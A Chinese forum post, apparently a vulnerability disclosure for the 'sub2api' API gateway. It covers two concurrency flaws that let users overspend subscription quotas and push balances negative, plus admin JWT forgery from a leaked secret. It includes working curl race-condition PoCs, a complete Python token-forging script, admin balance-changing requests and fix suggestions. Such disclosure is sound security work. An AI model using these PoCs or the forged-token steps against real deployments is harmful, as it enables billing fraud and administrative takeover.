- 楼主 编辑于
漏洞 D1:订阅模式并发超额消费(配额穿透)
风险等级: 高危
位置: 订阅计费链路(准入校验 + 用量累加)
类型: 业务逻辑 / 竞争条件描述
sub2api 的订阅(subscription)分组会按日 / 周 / 月下发用量配额。配额判定发生在请求准入阶段,但实际费用是在上游响应返回后的异步计费任务里累加的。准入判定只比较 "历史已用量" 与限额,不包含本次请求的预估成本,且用量累加语句没有任何上限守卫。因此在同一时间窗内并发发起多个请求时,每个请求都会看到同一份 "尚未超限" 的旧用量快照并全部放行,最终用量可成倍突破配额。
叠加因素:订阅模式完全没有在途余额 / 配额预留——handler/gateway_inflight_reservation.go:77 对订阅分组直接返回 inflightNoop,而余额模式至少还有 Redis 在途预留兜底。
根因
// handler/gateway_inflight_reservation.go:77 —— 订阅模式放弃在途预留 if apiKey.Group != nil && apiKey.Group.IsSubscriptionType() && subscription != nil { return ctx, inflightNoop, nil }// service/subscription_service.go:1037 —— 只比"已用量",additionalCost 恒传 0 if !sub.CheckDailyLimit(group, 0) { return needsMaintenance, ErrDailyLimitExceeded }-- repository/user_subscription_repo.go:471-484 —— 累加无上限守卫 UPDATE user_subscriptions us SET daily_usage_usd = us.daily_usage_usd + $1, weekly_usage_usd = us.weekly_usage_usd + $1, monthly_usage_usd = us.monthly_usage_usd + $1, updated_at = NOW() WHERE us.id = $2 AND us.deleted_at IS NULL ...复现前置
- 订阅型分组:
groups.subscription_type='subscription',daily_limit_usd=0.1 - 目标用户有该分组的有效
user_subscriptions行 - 该分组下有可用上游账号;用户 API Key 绑定该分组
- 清掉订阅缓存
billing:sub:<uid>:<gid>(否则旧快照会先把你 403 掉)
PoC
BASE=http://127.0.0.1:8080 SKEY="<PH:SUB_KEY>" # 绑定订阅分组的 key uid=<PH:USER_ID>; gid=<PH:GROUP_ID> # 1) 清零用量并清缓存,避免旧快照干扰 docker exec sub2api-postgres psql -U sub2api -d sub2api -c \ "UPDATE user_subscriptions SET daily_usage_usd=0,weekly_usage_usd=0,monthly_usage_usd=0 WHERE user_id=$uid;" docker exec sub2api-redis redis-cli -a "<PH:REDIS_PASSWORD>" --no-auth-warning del "billing:sub:$uid:$gid" # 2) 并发 20 发(每发约 0.078 USD,日限额仅 0.1) M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}' for i in $(seq 1 20); do curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages \ -H "Authorization: Bearer $SKEY" -H 'Content-Type: application/json' -d "$M" & done | sort | uniq -c wait; sleep 7 # 3) 读结果 docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc \ "select daily_usage_usd from user_subscriptions where user_id=$uid"实测结果(本实例)
20 200 ← 20 发全部放行,0 个被拦 日用量: 1.5600000000 / 限额 0.1 ← 超出 15.6 倍 订阅计费请求: 20 笔串行对照(同一环境,逐发):第 1、2 发 200(此时已用量 0.078 ≤ 0.1),第 3 发起 429 DAILY_LIMIT_EXCEEDED。说明即使不并发也必然多放一份,并发只是把倍数放大到 N。
影响
订阅用户可用一份配额消耗 N 份上游额度(N ≈ 并发数)。对按量采购上游的运营方,这是直接的现金流损失;对转售场景,等于订阅套餐失去定价意义。
修复建议
- 订阅模式接入在途预留(按 max_tokens × 输出单价 估算,Redis 原子扣减);
- 或在 IncrementUsage 上加条件守卫:
... WHERE daily_usage_usd + $1 <= <limit>,受影响行数为 0 即拒绝; - 准入时把 additionalCost 传成预估成本,而不是 0。
漏洞 D2:余额模式并发透支(余额可被扣成负数)
风险等级: 高危
位置: 余额扣减 + 网关准入
类型: 业务逻辑 / 竞争条件描述
余额扣减函数在 "余额足够" 分支失败后,会落到一个无条件扣减的兜底分支,直接把余额扣成负数。而网关准入只判断 balance <= 0,成本又在响应后才结算。两者叠加后,一个只剩" 一次请求的钱 "的账户并发发起 N 个请求,N 个请求都会通过准入并各自计费,最终余额远超应付额度。系统随后只会用 <= 0 拦住" 下一批 " 请求,已经发生的消费不可追回。
根因
// repository/user_repo.go:883 —— 先条件扣,扣不动就无条件扣(透支策略) n, err := client.User.Update(). Where(dbuser.IDEQ(id), dbuser.BalanceGTE(amount)). AddBalance(-amount).Save(ctx) if n > 0 { return nil } n, err = client.User.Update(). // ← 余额不足也照扣,余额变负 Where(dbuser.IDEQ(id)). AddBalance(-amount).Save(ctx)// server/middleware/api_key_auth.go:397 —— 只拦"已经没钱" func apiKeyBalanceBelowAuthThreshold(balance float64, _ *config.Config) bool { return balance <= 0 }复现前置
- 余额模式(标准)分组,用户 API Key 已绑定
- 该分组下有可用上游账号
- 已知单次请求成本(本文用 0.078 USD)
PoC
BASE=http://127.0.0.1:8080 KEY="<PH:API_KEY>"; uid=<PH:USER_ID>; COST=0.078 # 1) 余额精确设为"恰好够一次" docker exec sub2api-postgres psql -U sub2api -d sub2api -c \ "UPDATE users SET balance=$COST WHERE id=$uid;" # 2) 并发 10 发 M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}' for i in $(seq 1 10); do curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages \ -H "Authorization: Bearer $KEY" -H 'Content-Type: application/json' -d "$M" & done | sort | uniq -c wait; sleep 6 # 3) 读结果 docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc \ "select balance from users where id=$uid; select count(*), sum(actual_cost) from usage_logs where user_id=$uid and created_at>now()-interval '2 minutes';"实测结果(本实例)
10 200 ← 10 发全部放行 余额: 0.07800000 -> -0.70200000 ← 被扣成负数 新增计费: 10 笔 本轮费用: 0.78 USD ← 应付 0.078,实付 0.78即:支付 1 份钱,消耗 11 份用量(含此前 1 次基准请求),透支倍数 ≈ 11×。
影响
- 用户在余额见底前并发 "抢跑",一次性薅走 N 倍额度后弃号,损失不可回收;
- 负余额账户在下一次请求即被 403,但已消费部分无法追偿;
- 与 "自抹 key 限额"(quota=0 + reset_quota)组合,可把透支窗口拉得更长。
修复建议
- 兜底分支改为返回错误或写入 "欠款" 并把 users.status 置为 disabled;
- 准入阶段按预估成本做在途预留,并强制 fail_closed_on_unpriced=true(未定价模型不再 fail-open);
- 计费结算改为 WHERE balance >= cost 的条件更新,失败即拒单。
漏洞 P1:部署密钥明文暴露 → 伪造管理员 JWT → 任意篡改用户余额
风险等级: 严重(可直接接管全站)
位置: 部署配置 + JWT 签发 / 校验
类型: 凭证泄露 → 认证绕过 → 越权描述
部署目录下的 .env 与 data/config.yaml 以明文同时保存了数据库口令、Redis 口令、JWT_SECRET 和 TOTP_ENCRYPTION_KEY。由于 JWT 使用 HS256 对称签名,拿到 JWT_SECRET 即可在离线状态下自行签发任意角色的访问令牌;而 token_version 是由 email + password_hash 派生的确定性值(数据库可读),会话绑定的 bnd 字段留空时校验直接放行。三条特性叠加,攻击者无需任何用户口令即可构造出管理员令牌,进而调用管理接口任意修改用户余额、读取全站数据、变更系统配置。
根因
# /www/wwwroot/sub2api/data/config.yaml(.env 同源) database: password: <PH:POSTGRES_PASSWORD> redis: password: <PH:REDIS_PASSWORD> jwt: secret: <PH:JWT_SECRET> totp: encryption_key: <PH:TOTP_ENCRYPTION_KEY>// service/auth_service.go:1944-1947 —— token_version 可由 公开字段+password_hash 推导 material := strings.ToLower(strings.TrimSpace(user.Email)) + "\n" + user.PasswordHash sum := sha256.Sum256([]byte(material)) fingerprint := int64(binary.BigEndian.Uint64(sum[:8]) & 0x7fffffffffffffff) return user.TokenVersion ^ fingerprint// server/middleware/session_binding.go:71 —— bnd 为空即跳过会话绑定 if claims == nil || claims.BindingHash == "" { return true }复现前置
- 能读取 config.yaml 或 .env(目录穿越、备份泄露、插件 / 模板读取、或其他文件读取面)
- 或直接拿到数据库口令(同一文件内,一次泄露即全拿)
PoC
# forge_jwt.py —— 离线签发管理员令牌 import base64, hmac, hashlib, json, struct, time SECRET = "<PH:JWT_SECRET>" # config.yaml: jwt.secret EMAIL = "<PH:ADMIN_EMAIL>" # users.email where role='admin' PW_HASH = "<PH:ADMIN_PASSWORD_HASH>" # users.password_hash UID, ROLE = <PH:ADMIN_UID>, "admin" b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=") fp = struct.unpack(">q", hashlib.sha256((EMAIL.lower()+"\n"+PW_HASH).encode()).digest()[:8])[0] & 0x7fffffffffffffff now = int(time.time()) claims = {"user_id": UID, "email": EMAIL, "role": ROLE, "token_version": fp, "sid": "deadbeefcafe0001", # 任意 # 不写 bnd → 会话绑定校验直接放行 "exp": now+86400, "nbf": now, "iat": now} h = b64(b'{"alg":"HS256","typ":"JWT"}') p = b64(json.dumps(claims, separators=(",",":")).encode()) s = b64(hmac.new(SECRET.encode(), h+b"."+p, hashlib.sha256).digest()) print((h+b"."+p+b"."+s).decode())TOKEN=$(python3 forge_jwt.py) # 验证管理员身份 curl -s -o /dev/null -w '%{http_code}\n' -H "Authorization: Bearer $TOKEN" \ http://127.0.0.1:8080/api/v1/admin/settings # 200 # 任意修改余额(set / add / subtract) curl -s -X POST http://127.0.0.1:8080/api/v1/admin/users/<PH:USER_ID>/balance \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"balance":888,"operation":"set"}' # 200 # 或完全绕过应用层 PGPASSWORD=<PH:POSTGRES_PASSWORD> psql -h 127.0.0.1 -U sub2api -d sub2api \ -c "UPDATE users SET balance=888 WHERE id=<PH:USER_ID>;"实测结果(本实例)
GET /api/v1/admin/settings -> 200 GET /api/v1/admin/users/3/balance-history -> 200 POST /api/v1/admin/users/3/balance -> 200 数据库: [email protected] | 888.00000000余额变更会触发 trg_users_auth_cache_invalidation,Redis 缓存同步失效,改完立即生效,无需重启。
影响
- 全站任意用户余额可改(含管理员自身)、可提权、可读全站数据(用户、API Key、用量、支付订单、审计日志);
- 可修改系统设置:开启注册、改支付渠道商户号、改回调地址、植入自定义页面内容;
- data/ 整体挂载进容器(./data:/app/data),一次读取即同时暴露配置与运行数据。
收藏支持反对打赏 - 订阅型分组:
这漏洞真严重
不明觉厉
个性签名仰天大笑出门去,我辈已是大靓仔!
又漏洞 这周第几个了
可能吧
个性签名我是大便
不懂啊